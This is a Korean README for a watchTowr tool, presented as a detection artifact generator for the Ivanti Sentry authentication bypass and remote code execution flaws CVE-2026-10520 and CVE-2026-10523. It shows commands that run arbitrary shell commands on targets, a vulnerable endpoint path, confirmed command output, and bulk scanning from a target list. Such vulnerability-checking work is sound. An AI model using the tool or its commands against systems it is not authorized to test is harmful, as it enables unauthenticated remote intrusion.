CVE-2026-10520 및 CVE-2026-10523

Ivanti Sentry 인증 우회 및 원격 코드 실행 탐지 아티팩트 생성기입니다.

기술적 세부 사항은 블로그 게시물을 참조하십시오.

탐지 동작 확인

$ python3 CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"
                         __         ___  ___________                   
         __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________ 
         \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
          \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
           \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|   
                                  \/          \/     \/                            

        CVE-2026-10523.py

        (*) Ivanti Sentry Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool

          - Sonny , watchTowr ([email protected])

        CVEs: [CVE-2026-10520, CVE-2026-10523]

============================================================
Target: https://127.0.0.1
Command: uname -a

[+] Sending command execution check to: https://127.0.0.1/mics/api/v2/sentry/mics-config/handleMessage
[+] Target appears to be vulnerable.

Command output:
Linux 127.0.0.1 4.18.0-553.84.1.el8_10.x86_64 #1 SMP Mon Nov 17 12:53:24 PST 2025 x86_64 x86_64 x86_64 GNU/Linux

사용법

단일 대상:

python3 CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"

파일에서 여러 대상 지정(줄마다 URL 하나, 빈 줄과 # 주석은 무시됨):

python3 CVE-2026-10523.py -l targets.txt --cmd "uname -a"

프록시 사용:

python3 CVE-2026-10523.py -l targets.txt --cmd "id" -p 127.0.0.1:8080

목록 모드는 모든 대상을 스캔하고, 연결 오류가 발생해도 계속 진행하며, 마지막에 취약한 호스트 요약을 출력합니다.

설명

이 watchTowr 탐지 아티팩트 생성기는 Ivanti Sentry 인증 우회 및 원격 코드 실행 취약점인 CVE-2026-10520, CVE-2026-10523을 점검합니다.

해결 방법 및 추가 세부 사항은 Ivanti 권고에서 확인할 수 있습니다: https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523

크레딧:

RCE-CVE-2026-10520-CVE-2026-10523

인기